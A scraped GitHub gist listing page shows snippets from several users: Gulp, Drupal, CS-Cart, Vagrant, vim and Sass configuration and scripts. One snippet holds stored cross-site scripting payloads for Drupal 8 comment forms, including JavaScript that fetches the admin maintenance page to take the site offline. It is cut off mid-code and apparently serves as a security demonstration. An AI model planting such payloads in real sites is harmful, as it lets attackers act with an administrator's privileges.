Skip to content

Instantly share code, notes, and snippets.

View dasginganinja's full-sized avatar

Tom Donahue dasginganinja

  • Lehigh University
  • Bethlehem, PA
View GitHub Profile
@esampaio
esampaio / gulpfile.js
Created March 7, 2014 11:37
Base Gulpfile.js
var gulp = require('gulp');
var clean = require('gulp-clean');
var gutil = require('gulp-util');
var coffee = require('gulp-coffee');
var sass = require('gulp-ruby-sass');
var concat = require('gulp-concat');
var uglify = require('gulp-uglify');
gulp.task('fonts', function() {
return gulp.src(['bower_components/font-awesome/fonts/fontawesome-webfont.*'])
@dasginganinja
dasginganinja / Shipping Rate - PA Tax Component Rules
Last active August 29, 2015 14:28
Drupal Commerce Sales Tax for Taxable Items & Shipping
{ "commerce_tax_rate_pa_sales_tax" : {
"LABEL" : "Calculate PA Sales Tax",
"PLUGIN" : "rule",
"OWNER" : "rules",
"TAGS" : [ "Commerce Tax", "sales_tax" ],
"REQUIRES" : [ "commerce_order", "rules", "commerce_tax" ],
"USES VARIABLES" : { "commerce_line_item" : { "label" : "Line item", "type" : "commerce_line_item" } },
"IF" : [
{ "commerce_order_compare_address" : {
"commerce_order" : [ "commerce-line-item:order" ],
@just-digital
just-digital / gist:1868435
Created February 20, 2012 08:33
A .vimrc file for Drupal. Sets correct tabs configuration and a few other gems. Also includes function from Aron Novak (http://drupal.org/user/61864) sourced at http://vim.wikia.com/wiki/Remove_unwanted_spaces which will remove trailing white space upon
set nocompatible
syntax on
filetype on
filetype plugin on
filetype indent on
set sidescroll=1
set sidescrolloff=3
@ajhyndman
ajhyndman / product_options.tpl
Last active April 22, 2017 00:49
Custom Radio Button Options - CS-Cart 4.2
{if $product.tracking == "ProductTracking::TRACK_WITH_OPTIONS"|enum}
{assign var="out_of_stock_text" value=__("text_combination_out_of_stock")}
{else}
{assign var="out_of_stock_text" value=__("text_out_of_stock")}
{/if}
{if ($product.price|floatval || $product.zero_price_action == "P" || $product.zero_price_action == "A" || (!$product.price|floatval && $product.zero_price_action == "R")) && !($settings.General.allow_anonymous_shopping == "hide_price_and_add_to_cart" && !$auth.user_id)}
{assign var="show_price_values" value=true}
{else}
{assign var="show_price_values" value=false}
@dasginganinja
dasginganinja / drush-drupal-7-grant-all-privileges-to-role.php
Last active March 7, 2018 11:03
Drupal 7 Drush Command to Grant All Permission to A Role
<?php
// Get the Role ID we want to add all permissions to
$rid = user_role_load_by_name('Super Administrator')->rid;
// Get a listing of all of the permissions
$perms = array_keys(user_permission_get_modules());
// Grant permissions for the role
user_role_grant_permissions($rid, $perms);
#!/bin/bash
# Add Vagrant's hostupdater commands to sudoers, for `vagrant up` without a password
# force sudo on self.
if [ $( id -u ) -ne 0 ]; then
exec sudo -p "Login password for %p: " "$0" "$@"
exit $?
fi
# Stage updated sudoers in a temporary file for syntax checking
@rgoodie
rgoodie / new-drupal-dev-vm.sh
Last active March 22, 2018 23:47
A function, when added to bash profile, clones the Vagrant Drupal-Dev-VM (https://github.com/geerlingguy/drupal-dev-vm), augments configuration (based on d7 or d8), renames the VM to something other than drupaltest.dev and starts vagrant up. Uses include <newd 7 my-drupal-site> and <newd 8 my-other-drupal-site>.
# new drupal vagrant install
# A function, when added to bash profile, clones the Vagrant Drupal-Dev-VM (https://github.com/geerlingguy/drupal-dev-vm),
# augments config (based on d7 or d8), renames the VM to something other than drupaltest.dev and starts vagrant up. Uses
# include <newd 7 my-drupal-site> and <newd 8 my-other-drupal-site>.
function newd {
if [ $2 == ]; then
echo 'USAGE: newd8 <version> <sitename>'
#0 d8 site: node/1 comment form with full html input format by uid0.
<script>alert('XSS')</script>
_________________________________________________________________________________________________
#1 d8 site: node/1 comment form with full html input format by uid0.
It will move the site into maintenance mode
<script>setTimeout(function(){
jQuery.get('/drupal_test/admin/config/development/maintenance',
function (data, status) {
if (status == 'success') {
@johnkary
johnkary / vagrant-nfs-vpn-solution.md
Last active April 8, 2020 10:30
Workaround for using an NFS mount with Vagrant and VirtualBox while connecting to a VPN network restricting local network connections

Fixing NFS disconnecting with Vagrant and VirtualBox on Mac OS

Symptoms and Known Conditions

  • Mac OS host machine (10.6+)
  • VirtualBox (4.1+)
  • Vagrant (1.0+)
  • Connecting via VPN to a remote network
  • Mounting a directory from your host machine to the guest machine using NFS with something like this:
@jasodeep
jasodeep / install-sass-and-compass
Created December 2, 2016 20:05
Install Sass & Compass on debian
sudo aptitude install ruby-full
sudo gem install sass
sudo gem install compass